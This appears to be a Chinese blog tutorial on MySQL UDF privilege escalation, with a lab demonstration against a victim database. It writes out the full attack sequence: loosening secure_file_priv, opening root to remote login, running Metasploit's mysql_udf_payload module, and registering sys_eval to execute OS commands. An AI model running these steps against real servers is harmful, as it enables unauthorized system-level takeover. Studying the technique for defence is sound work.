数据库提权之mysql_UDF

UDF提权

本篇主要讲解udf提权的原理,同时利用metasploit进行提权演示。

UDF提权原理

UDF指的是用户自定义函数,用户可以对数据库所使用的函数进行一个扩展(利用dll文件),从而定制一些符合自己需求的函数,但是同样的,当黑客获取了数据库的root用户的一个权限时,即使所在的系统权限很低,也可以使用UDF来自定义一个执行系统命令的函数,但是执行权限为管理员权限,从而可以用来添加管理员账户,远程连接。

这里使用mysql进行复现。

首先我们需要拥有mysql数据库的root权限,由于mysql的版本不同,udf提权的方式也不同。

mysql版本>5.1 需要在mysql的安装目录下创建 lib\plugin 这个文件夹(默认不存在),之后将把dll文件放在这个文件夹中;
mysql版本<5.1 需要将dll文件放在 C:\windows\C:\windows\system32

然后加载函数,就可以使用了。

注意:提权所用的dll在sqlmap或msf中都有,要与受害机的系统与数据库位数进行匹配。
在这里插入图片描述

msf提权演示

这里主要演示大于5.1的版本。
所以接下来创建目录,关于创建目录,下面的第二篇参考提供了一个使用NTFS ADS流的方式,大家可以进行尝试,这里我直接手工进行创建。
数据库提权之mysql_UDF_第1张图片
然后我们需要把自定义好的函数,也就是执行系统命令的函数加载进数据库中,我们需要先将定义好的一个dll放入lib\plugin这个文件夹,这里如果无法上传文件,我们可以创建一个数据表,将dll中的数据十六进制编码,之后在通过读取的方式写入到lib\plugin\udf.dll文件中,这样也是可以达到上传文件的效果的。
写入文件有一个前提,就是secure_file_priv这个选项需要为空值,这样才可以加载或写入文件。

show global variables like 'secure_file_priv';

NULL表示不可以写入
数据库提权之mysql_UDF_第2张图片

修改mysql.ini文件,使其为空值
数据库提权之mysql_UDF_第3张图片
添加

secure_file_priv=

数据库提权之mysql_UDF_第4张图片
再来看一下,secure_file_priv这个选项已经为空值,这样才可以加载或写入文件。

show global variables like 'secure_file_priv';

数据库提权之mysql_UDF_第5张图片
这样一来就可以写入文件了。

但是这里我们利用MSF进行攻击,需要远程连接该主机的数据库,所以要提前查看,该数据库是否可以远程连接。

use mysql;

select host,user from user;

数据库提权之mysql_UDF_第6张图片
上图发现root用户的连接对象都是本地,这里使用sql语句进行修改,将其改为允许远程连接
这条语句来修改连接对象为所有主机

(这里允许了远程连接后,好像要重启mysql服务)

update user set host = '%' where user = 'root';

数据库提权之mysql_UDF_第7张图片
尝试远程连接成功

mysql -uroot -proot -h192.168.100.7

数据库提权之mysql_UDF_第8张图片

之后尝试使用msf进行攻击。
进入msf,加载exploit/multi/mysql/mysql_udf_payload模块
这里的需要mysql数据库的账号和密码,以及连接的主机。
设置完之后,尝试攻击。

show options
set rhost 192.168.x.x
set password root

数据库提权之mysql_UDF_第9张图片
攻击完之后,在受害机的lib\plugin目录下将会生成一个dll文件。
之后查看已载入的函数并尝试执行。

run

数据库提权之mysql_UDF_第10张图片

use mysql;
select * from func;
select sys_exec('whoami');

执行成功返回0。
数据库提权之mysql_UDF_第11张图片

由于该命令没有回显,不方便,所以我们需要手动的加载一个有回显的函数。

create function sys_eval returns string soname 'waZzYnWC.dll';
select * from func;

数据库提权之mysql_UDF_第12张图片
这里的dll文件的名称是msf随机的,利用该条命令载入了sys_eval函数

select sys_eval('whoami');

可以看到该条函数成功将执行结果回显出来了。
数据库提权之mysql_UDF_第13张图片

参考文章

https://blog.csdn.net/ming_xt/article/details/107844297

你可能感兴趣的:(数据库)